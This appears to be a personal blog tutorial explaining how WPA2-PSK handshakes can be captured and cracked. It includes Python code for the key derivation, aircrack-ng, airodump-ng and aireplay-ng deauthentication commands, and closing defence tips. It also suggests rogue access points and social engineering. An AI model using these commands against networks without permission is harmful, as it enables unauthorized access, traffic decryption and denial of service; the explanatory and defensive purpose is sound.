wpa2-psk hacking explained

15 minute read

Intro

Over the internet i have seen plenty of articles on how to hack a wifi, though, few are the one that explain why it does work.

In this article, you will learn why attackers can hack wpa2, how they can and how you can protect yourself.

Disclaimer: I am not responsible for any harm you could cause with the knowledge you will obtain troughout this article. Hack only the device you own / the one you are allowed to mess with.

Disclaimer 2: right know hacking a wpa personal or entreprise network with a complex password (using the technique we will be discussing today) is almost impossible, you are better of carrying out a rogue access point attack, combined with a deauth and some social engineering skills to trick your victim into giving you his wifi password, be inventive !

WPA stands for wifi protected access it’s a wireless protocol which encrypt frames sent betwenn a client and an access point it does so by creating a unique (see KRACK) key during a handshake, used later on to encrypt and decrypt data sent to the other end.

How does wifi work

Remember your physics/chemistry class back in high school, the electromagnetic spectrum ?
Your probably have seen this diagram at least once.

electromagnetic spectrum

Your wifi network is running in the microwave wavelength, wifi protocol is made to be running at 900mhz, 2.4, 3.6, 4.9, 5, 5.9 and 60ghz but the most common one are 2.4 and 5ghz (wifi 6 = 5.9ghz).
For the sake of simplicity we will stick to 2.4 since it’s the most widely used and easiest to explain.

When talking about 2.4ghz we are actually talking about a range starting from ~2.4ghz, the range is from 2.412ghz up to 2.472 (in France at least). The frequency range is divided into channels, 13 in France, all of them separated by 5mhz, (channel 1 = 2.412, channel1 2 = 2.417 and so on) modulated over a range of ~20mhz (so the signal take +/-10mhz from it’s central frequence).
Yes the channels do overlap sometimes and yes it does cause problems.

See this awesome wikipedia schema (go read the article) (channel 14 = Japan):

wifi channels 2.4ghz

ps1: I am not going to explain authenticaion / association (which happens before the wpa protocols takes place), i advise you to read this article to find out more.
ps2: just in case, 802.11 refers to the wifi protocol, 802.1x (x being whatever letter) refers to an authentication mecanism such as wpa2

Kinds of hack

In this article we will focus on intercepting a wpa handshake by carrying a deauth attack, though, there are multiple wifi hacks out there such as:

  • rogue access point
  • PMKID packet capture
  • KRACK attack

Our end goal in this article will be to obtain the password (PSK, pre shared key) to a said wpa2-personnal network (apply to wpa1-personnal).
I may look for wpa-enterprise in an other article (use a RADIUS server to authenticate hosts, much harder to hack, common among enterprises as the name suggest).

How does wpa work

Here are the currents existing wifi protocols and some infos about them (check internet for more infos like PMF for wpa3 etc):

  • Open, no password, no encryption whatsoever, 1997
  • WEP, using rc4 for data encryption, 1997
  • WPA, using rc4 like for data encryption, 2003
  • WPA2, using AES for data encryption, 2004
  • WPA3, using AES for data encryption, 2018

In this article when i will be refering to wpa i will actually be refering to wpa2-psk (wifi protected access 2 pre shared key) aka wpa2-personal.

The goal of wpa is to agree (for both end, the station (the client if you prefer) and the access point) on a key (which must not be sent over the air) that will be used to encrypt and decrypt data (symmetric encryption).

It’s goal is ALSO to confirm that both end possess the same password.

For this, many keys are created, and the most important one is the PMK (pariwise master key), a key created using the SSID (access point name) and the password (psk)

(the AP (access point) also owns a GMK (group master key) used to create a GTK (group transient key) later on to encrypt broadcast traffic. but it’s no use in this article)

The PMK is created by both end before any packet are sent using the following code (we assume both the access point and the station have the same password):

We are going to use test1212 as the ssid and password as the password

I advise skipping the code if like me, your cryptographic knowledge isnt big enough, just remember the formula specified under

PMK creation

 1from hashlib import pbkdf2_hmac
 2
 3def PMK(ssid, password):
 4        return pbkdf2_hmac('sha1', password.encode(), ssid.encode(), 4096, 32)
 5
 6def main():
 7        ssid = "test1212"
 8        password = "password"
 9
10        pmk = PMK(ssid, password)
11        print('PMK is ' + str(pmk.hex()))
12
13if __name__ == "__main__":
14        main()

Running this code give us the following output:

$ PMK is 644b7e103e650c86b74d830dd59352ca3e37f325533e75780052e5bde71e3ed9

Just remember that:

PMK = SSID + PASSWORD


Message 1

Now onto the 1st message of the 4 way wpa handshake

message 1 out of 4 wpa handshake

This packet is sent from the AP (access point) to the station, the important field is the “WPA Key Nonce” field, highlighted above, so called aNonce. It’s a random 512 bits long value generated by the AP and sent to the client, we will see it’s use in the next paragraph.

Now the station is going to do many things, 1st of which is also generating a 512 bits random value called sNonce.
Next, it’s going to compute the PTK (pairwise transient key), it’s a key which can be splitted into many other keys but it’s main goal is to be used as a cipher for unicast traffic when exchanging data later on.
It’s computed by using:

  • The PMK (which itself depends on the password and the ssid)
  • aNonce (the random value sent by the access point)
  • sNonce (the random it just computed (not yet known from an external point of view))
  • apMac (the mac address of the access point)
  • cliMac (the mac address of the station)
  • Pairwise key expansion string

Here’s the code to generate the PTK

PTK creation

 1import hmac
 2from binascii import a2b_hex
 3from hashlib import pbkdf2_hmac
 4
 5def PTK(key, A, B):
 6        nByte = 64
 7        i = 0
 8        R = b''
 9        while(i <= ((nByte * 8 + 159) / 160)):
10                hmacsha1 = hmac.new(key, A + chr(0x00).encode() + B + chr(i).encode(), 'SHA1')
11                R = R + hmacsha1.digest()
12                i += 1
13        return R[0:nByte]
14
15def PMK(ssid, password):
16        return pbkdf2_hmac('sha1', password.encode(), ssid.encode(), 4096, 32)
17
18def main():
19        ssid = "test1212"
20        password = "password"
21        aNonce = a2b_hex('b5d4380f6f55b3e51a868a8ccc6970a6780bd4baedff172762fb3ea23960d7e9')
22        sNonce = a2b_hex('39aa32a8954054075fc4fc453babdd5cd5c35c3b1e22e228dd711476476cc49b')
23        apMac = a2b_hex(''.join('1a:2d:26:b9:1a:28'.split(':')))
24        cliMac = a2b_hex(''.join('68:ae:20:7e:60:6e'.split(':')))
25        A = b"Pairwise key expansion"
26        B = min(apMac, cliMac) + max(apMac, cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
27
28        pmk = PMK(ssid, password)
29        print('PMK is ' + str(pmk.hex()) + '\n')
30
31        ptk = PTK(pmk, A, B)
32        print('PTK is ' + str(ptk.hex()))
33
34if __name__ == "__main__":
35        main()

Running this code give us the following output:

$ PTK is 147cd08cb3817bc42ca1813d409b0617100487e0d1b9741ada4bdd37dfa3abca398e8ca2d20d5a3f9f24a059031431ff66e7011d75f67ebc6555340da2fe47cc

Just remember that:

PTK = PMK + aNonce + sNonce + apMac + cliMac

Now that the PTK is know the station is gonna create the MIC (message integrity check, used as a checksum and as an authentication method !!!).

The MIC is computed using the KCK (key confirmation key) which are the 16 first bytes of the PTK (which itself depends of the PMK which itself depends of the password) AND the packet data that are going to be sent (with the MIC field set to 0 obviously).

Here’s the code to generate the MIC

KCK + MIC creation

 1import hmac
 2from binascii import a2b_hex
 3from hashlib import pbkdf2_hmac
 4
 5def MIC(kck, data):
 6        return hmac.new(kck, data, 'SHA1').digest()
 7
 8def PTK(key, A, B):
 9        nByte = 64
10        i = 0
11        R = b''
12        while(i <= ((nByte * 8 + 159) / 160)):
13                hmacsha1 = hmac.new(key, A + chr(0x00).encode() + B + chr(i).encode(), 'SHA1')
14                R = R + hmacsha1.digest()
15                i += 1
16        return R[0:nByte]
17
18def PMK(ssid, password):
19        return pbkdf2_hmac('sha1', password.encode(), ssid.encode(), 4096, 32)
20
21def main():
22        ssid = "test1212"
23        password = "password"
24        aNonce = a2b_hex('b5d4380f6f55b3e51a868a8ccc6970a6780bd4baedff172762fb3ea23960d7e9')
25        sNonce = a2b_hex('39aa32a8954054075fc4fc453babdd5cd5c35c3b1e22e228dd711476476cc49b')
26        apMac = a2b_hex(''.join('1a:2d:26:b9:1a:28'.split(':')))
27        cliMac = a2b_hex(''.join('68:ae:20:7e:60:6e'.split(':')))
28        A = b"Pairwise key expansion"
29        B = min(apMac, cliMac) + max(apMac, cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
30        message2 = a2b_hex('0203007502010a0010000000000000000139aa32a8954054075fc4fc453babdd5cd5c35c3b1e22e228dd711476476cc49b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00')
31
32        pmk = PMK(ssid, password)
33        print('PMK is ' + str(pmk.hex()) + '\n')
34
35        ptk = PTK(pmk, A, B)
36        print('PTK is ' + str(ptk.hex()) + '\n')
37
38        kck = ptk[0:16]
39        print('KCK is ' + kck.hex() + '\n')
40
41        mic = MIC(kck, message2)
42        print('MIC is ' + mic[:16].hex())
43
44if __name__ == "__main__":
45        main()

Running this code give us the following output:

$ KCK is 147cd08cb3817bc42ca1813d409b0617

$ MIC is 0ba79fa4463c4c2b89caf905f3b94ff2

message2 is the 802.1 layer of the 2nd message of the wpa handshake (next screenshot)

At line 42 i am truncating the last 8 byte of the MIC, we are in wpa2 thus using sha1, the digest is 40 char long and for some reason, the MIC sent is only 32 (same as with wpa1 (md5) which digest length is 32)

Just remember that:

KCK = PTK[0;16]

MIC = KCK + data


Message 2

Now onto the 2nd message of the 4 way wpa handshake

message 2 out of 4 wpa handshake

Highlighted on the screenshot, the MIC, with it’s value 0ba[...]ff2 great ! Same as our calculs (check the code output above)
We can also see sNonce (station random value) being sent over to the AP

At this point the AP can also calculate the MIC using the same calculs as the station, if the MIC match (the station owns the same password as the AP) the handshake will go on, else it drops the handshake process.

GTK creation

At this point, considering the MIC matched, the AP will create the GTK (group transient key), which will encrypt all broadcast traffic, it’s computed without the involvment of the client and it is derivated from the GMK, obiously the GTK is sent encrypted using the PTK


Message 3

Now onto the 3rd message of the 4 way wpa handshake

message 3 out of 4 wpa handshake

Not shown on the image but the AP is sending the GTK it computed (encrypted using the PTK) to the station, it’s also sending it’s nonce once again

At this point the station knows it had the right password else this packet would not have been sent.


Message 4

Now onto the 4th message of the 4 way wpa handshake

message 4 out of 4 wpa handshake

This frame is used as an acknolegement packet from the client to confirm it has received the GTK and close the successfull handshake.

wpa handhskae tl;dr

To authenticate on a wpa network:

  • Both the AP and the station compute the PMK using the ssid and the password.
  • msg1 The AP sends to the station a Nonce, a random value.
  • The sation compute the PTK using the PMK, it’s own mac address and AP mac address, it’s nonce and AP nonce.
  • msg2 The station compute and send the MIC, which is calculated using part of the PTK and the data it’s sending (also sending it’s own nonce).
  • The AP verify if the station possess the good password by also computing the MIC.
  • msg3 If the password is good, the AP send this frame (also sending the GTK).
  • msg4 The station confirm and close the wpa handhskake by sending an acknolegement packet.

Guessing the password

The vulnerability here reside in the fact that if an attacker listen to a wpa handshake from a nearby location, it owns all the informations (except the password) to create the PTK used by the two.

If the attacker knows the password he is able to decrypt information sent by both parties while staying nearby. In fact, the wireshark screenshots above was recoreded from an external point of view, a handshake between a Ipod Touch 5th gen and a Xiaomi phone acting as an AP.

As said above we are still missing a variable to decrypt the traffic, the psk that both end knows.

ps: you don’t have to listen to a full handshake to know the password, msg 1 & 3 contain aNonce, msg 2 contain sNonce & MIC, we also need a beacon frame frame to get the AP name, 3 packet only are needed to know all of those infos, we don’t need to listen to the whole handshake (best is 2&3&beacon frame)
ps2: beacon frame is a management frame which contains all network infos (including the ssid obviously)

What we can do however (assuming we captured the wpa handshake), is to assume the right password is X, calculate the PMK, calculate the PTK, calculate the MIC, if the mic we captured == mic we calculated, then we have the good password.

 1passwordlist = ['pass1', 'sun123', 'winter9', 'password']
 2
 3for password in passwordlist:
 4	calculatedPMK = PMK(SSID, password)
 5	calculatedPTK = PTK(PMK, aNonce, sNonce, apMac, cliMac)
 6	calculatedMIC = MIC(PTK[0;16], 8021msg2layer)
 7	if calculatedMIC == realMIC:
 8		print('Yay password found: ' + password)
 9		exit(0)
10
11print('didnt found the password')

python pseudo code ^^

If you know the wifi password you can open a packet capture file (or record it live) get into
edit -> preferences -> Protocols -> IEEE 802.11 -> Decryption keys -> Edit -> + -> *set wpa-pwd and enter the found password*
If an handshake is present in the capture and if the right password is submitted, wireshark will automaticly decrypt the 802.1 packet that are linked to the handshake

We can also obviously enter the password and get inside the network if we wish to do so.

DeAuth

As you probably have guessed by now, we need someone which initially knows the wifi password for us to know the wifi password.
But, what if this device is connected 24/7 to the AP, we can not obtain a wpa handshake because there is no one to connect itself to the network (and we dont want to wait 20 years for somebody else to connect, an electricity failure etc)

deauth frame from wireshark

We can send a deauthentication frame !

A big flaw in 802.1 which don’t have PMF (< wpa2 by default) is the deauthentication frame. It’s not encrypted and supposed to be sent by either the AP or the station. It serves as a frame to request a disconnect from the remote device (wheter it be the AP or the station) what we can do is spoof the mac addr of the AP or the station and send a deauthentication frame (it’s not encrypted in any way) ! Thus forcing the other end to disconnect

When the station reconnects itself to the AP (usually automaticly) whe can gather the wpa handshake and use it for what we saw above.

Yes it may be used a DOS attack too (forcing both end to disconnect over and over).

How

Many are the tools usable for this kind of attacks, you should check out things like bettercap but here we are going to use the aircrack-ng suite (you should also use hashcat for the password cracking later on)

I’m more forcus on the “why is it possible” rather than “how to do it” in this article, you may find this part redundant.

1st, you need to put your wifi card in monitor mode, to make it short, the rfc specify 8 modes if I remember correctly, the “default” one where your card browse all wifi channels automaticly gives your computer the available AP, handle the wpa encryption etc. is called managed, the one we are looking for is monitor it allow us to receive raw packets from the card, allow us to change it’s channel manually etc…

airmon-ng

airmon-ng will be used to change your card into monitor mode, you can also use iw if you wish to do so.

sudo airmon-ng
sudo airmon-ng <interface>

airmon-ng may complain that something is blocking, use rfkill like it’s asking you (i advice to do it manually)
you may also run a sudo airmon-ng check kill if your wifi interface comes back to managed automaticly

We now need to look for our AP

airodump-ng

airodump-ng will be used to look for our target.

sudo airodump-ng <interface>mon
sudo airodump-ng --channel <channel> --bssid <AP bssid> --write out <interface>mon

use --band a for 5ghz wifi

1st command will be used to scan for all network, airodump will browse all wifi channels and gather nearby AP

2nd command is to tell airodump to stick to your AP channel (that you have found in the 1st step) and capture only frames related to your AP, also outputing everything in a file named out (there will be multiple out.* file created)

Now we need to carry the deauth attack (let airodump running in the background)

aireplay-ng

aireplay-ng will be used to send deauth frame

sudo aireplay-ng --deauth 1 -a <AP bssid> -c <station mac addr> <interface>mon

This command will send one(1) deauth frame to both the AP and the station, hopefully one of them receive it and trigger a disconnect, the station will (usually) try to reconnect automaticly.

Now we hoppefully captured a wpa handshake on the airodump-ng window (on the station reconnect).

If so, we can close the programm and start looking for the password.

aircrack-ng

aircrack-ng will be used to bruteforce the password (you should REALLY checkout hashcat, wpa are almost uncrackable, especially here in France, using aircrack-ng makes it even worse)

aircrack-ng -a2 -b <AP bssid> -w <path to wordlist> <path to airodump pcap>

This command will try to crack the password associated to the AP bssid you specified using the wordlist you gaved him.
Check out HTB course on cracking password with hashcat, it’s definitely worth it.

At this point i hope you managed to get the password :)))
(use hashcat god dam')


Obviously the how to do part isnt very long because it’s already covered all along the internet.

Now that we covered WHY we can hack wifi and HOW we can do it, we are going to see quickly how we can protect ourself.

Defense

  • Use 802.11w, an extension of wpa which use PMF, now DeAuth frame is (almost) impossible to be sent (someone could still bruteforce the PTK without any wpa handshake (so yea it’s impossible), so you can’t force a station to do an handshake.
  • Set complicated wifi password. With an overcloacked 1060 at home it takes me 10 hours to crack an 8 character long [a-z] wpa password. With crackmachines, god tier wordlist, you may evetually find something but it’s very unlikely, see my chart below.

unbruteforcable time to crack a password

Earlier on i said it was quite hard in France to crack wi-fi password; internet access provider set a random default password on personnal AP when you buy an internet subscribtion (roughly 40+ chars with a charset of 95 chars) wich is litteraly uncrackable (earth will be destroyed way way before you can crack such a password, even with all earth computer power).

Quantumn computing maybe ? im not into this so idk, maybe wpa2 will be obsolete in a decade, who knows…

The end

Thanks for reading this article, i hope you know have a better understanding on how to exploit a wifi network.
I advise testing every things that comes to your mind to have a better understanding of the possibilities behind the technique covered here.

It took me quite some time to learn this many things, here are all the people / ressources that helped me understand all of this: